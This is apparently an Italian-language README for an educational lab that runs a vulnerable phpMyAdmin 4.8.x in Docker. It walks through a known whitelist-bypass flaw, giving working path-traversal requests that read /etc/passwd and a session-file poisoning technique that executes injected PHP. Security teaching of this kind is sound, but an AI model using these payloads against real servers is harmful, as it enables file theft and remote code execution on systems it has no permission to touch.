Demo educativa di exploit per CVE-2018-1263 (RCE/LFI in phpMyAdmin). Include configurazione dell'ambiente vulnerabile tramite Docker e guida passo-passo all'attacco per apprendere lo sfruttamento delle applicazioni web.
Questa guida ti aiuterà a installare il componente vulnerabile ed eseguire l'attacco relativo al bug di phpMyAdmin menzionato in CVE-2018-1263.
Questo exploit è relativo a un problema scoperto in phpMyAdmin versione 4.8.x precedente alla 4.8.2. Sfruttando il problema, un attaccante può eseguire codice remoto e includere file locali sul server. La vulnerabilità è dovuta alla porzione di codice responsabile del reindirizzamento e del caricamento delle pagine all'interno di phpMyAdmin. Il codice ha un test difettoso per le pagine in whitelist che rende possibile l'attacco. Un attaccante deve essere autenticato, tranne nel caso $cfg['AllowArbitraryServer'] = true (dove un attaccante può specificare qualsiasi host già sotto il suo controllo ed eseguire codice arbitrario su phpMyAdmin) e nel caso $cfg['ServerDefault'] = 0 (che aggira il requisito di accesso ed esegue il codice vulnerabile senza alcuna autenticazione).
La vulnerabilità è causata da un bypass di validazione nella funzione vulnerabile di controllo del percorso. Questa vulnerabilità consente a un attaccante remoto autenticato di eseguire codice PHP arbitrario sul server.
C'è un'inclusione di file in index.php di phpMyAdmin che può essere innescata fornendo un parametro chiamato target nell'URL e la porzione di codice che valida il parametro target è la seguente:
$target_blacklist = array (
'import.php', 'export.php'
);
// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
&& is_string($_REQUEST['target'])
&& ! preg_match('/^index/', $_REQUEST['target'])
&& ! in_array($_REQUEST['target'], $target_blacklist)
&& Core::checkPageValidity($_REQUEST['target'])
) {
include $_REQUEST['target'];
exit;
}
// ...
In questo codice, una volta che la condizione if è soddisfatta, esegue include $_REQUEST['target'];. Quindi dobbiamo solo aggirare la condizione if per eseguire ciò che vogliamo.
Osserviamo la condizione if
$target_blacklist
$target_blacklist è definita subito prima della condizione if e include import.php e export.php, il che significa che tutto tranne queste due pagine è consentito.Core::checkPageValidity($_REQUEST['target']).
checkPageValidity rimuove tutto ciò che sta dopo ? da $page e verifica se è nella whitelist. La stringa dopo ? non fa parte del percorso dell'URL. Nello snippet è mostrata anche una whitelist di esempio.public static function checkPageValidity(&$page, array $whitelist = [])
{
// ...
$_page = mb_substr($page, 0, mb_strpos($page . '?', '?'));
// example $whitelist == array('db_sql.php', 'sql.php', ...)
if (in_array($_page, $whitelist)) {
return true;
}
// ...
return false;
}
$page, poiché arriva direttamente da $_REQUEST['target'].Come accennato in precedenza, l'attaccante ha il controllo completo su $page nella funzione checkPageValidity tramite il parametro $_REQUEST['target'] nell'URL. Immaginiamo che l'attaccante invii qualcosa come quanto segue usando il parametro $_REQUEST['target'] verso $page
$page = 'db_sql.php?/../../../../../../../../etc/passwd'
La funzione checkPageValidity esegue quindi quanto segue
? e assegna la prima parte a $page. Quindi in questo caso di esempio il valore di $page = db_sql.php.$_page, cioè db_sql.php, è nella whitelist o no. Poiché è nella whitelist, la funzione restituisce True e si torna a index.phpPoiché la condizione if in index.php ora è True, esegue la riga seguente come mostrato nello snippet di codice di index.php sopra
include $_REQUEST['target'];
Cosa succede dopo:
$_REQUEST['target'], il che significa che viene eseguito quanto segue
GET /index.php?target=db_sql.php?/../../../../../../../../etc/passwd
db_sql.php esiste o no, /../../../../../../../../etc/passwd viene eseguito e il contenuto del file /etc/passwd viene inviato nella risposta all'attaccante.Ora possiamo usare questo per eseguire l'inclusione di file locali o persino l'esecuzione remota di codice per ottenere una reverse shell. Ogni volta che eseguiamo una query in phpMyAdmin, viene creato un file di sessione e memorizzato nella directory /tmp con il contenuto della query. Il file di sessione è chiamato sess_< ID_SESSIONE >. L'ID di sessione può essere facilmente trovato nel cookie usando l'opzione di ispezione del browser.
Quindi, se eseguiamo la seguente query in phpMyAdmin
SELECT '<?php phpinfo();exit;?>'
Verrà memorizzata nel file di sessione. Immaginiamo che il nostro ID di sessione per phpMyAdmin sia e15cffd3ab25a631136611fba9ca2042
Quindi, se attiviamo il seguente indirizzo nel browser
http://your-ip:8080/index.php?target=db_sql.php?/../../../../../../../../tmp/sess_e15cffd3ab25a631136611fba9ca2042
Allora phpMyAdmin proverà a caricare la pagina di sessione e, poiché la pagina contiene il codice PHP fornito tramite la query, il codice PHP verrà eseguito e in questo particolare esempio vedremo phpinfo nella pagina caricata dal browser. Usando questa tecnica possiamo eseguire qualsiasi codice arbitrario sul server remoto.
L'infrastruttura dell'exploit richiede una versione vulnerabile di phpMyAdmin e mysql. Useremo container docker per installare i componenti richiesti. Per la versione vulnerabile di phpMyAdmin useremo l'ambiente docker predefinito di Vulhub e per mysql useremo l'ultima versione ufficiale da dockerhub. Lo script di installazione è fornito come script yml di docker compose che si trova nel repository.
Supponiamo che la macchina in questione abbia docker e docker-compose installati. In caso contrario, fare riferimento alla documentazione di docker per installarli. Una volta installato docker, eseguire i seguenti passaggi per configurare il componente vulnerabile:
Per prima cosa clona il repository sulla macchina desiderata e spostati nella directory clonata
git clone [email protected]:msnkhan/exploit-demo.git
cd exploit-demo
Quindi esegui lo script docker compose usando il seguente comando
sudo docker-compose up -d
Una volta terminato il processo di installazione, docker esporrà la pagina di phpMyAdmin sulla porta 8080 della tua macchina. Puoi verificarlo aprendo la pagina nel browser usando il seguente formato di indirizzo
http://your-machine-ip:8080
Se il processo di installazione ha avuto successo, dovresti vedere una pagina come la seguente

Il seguente video è un tutorial su come eseguire l'attacco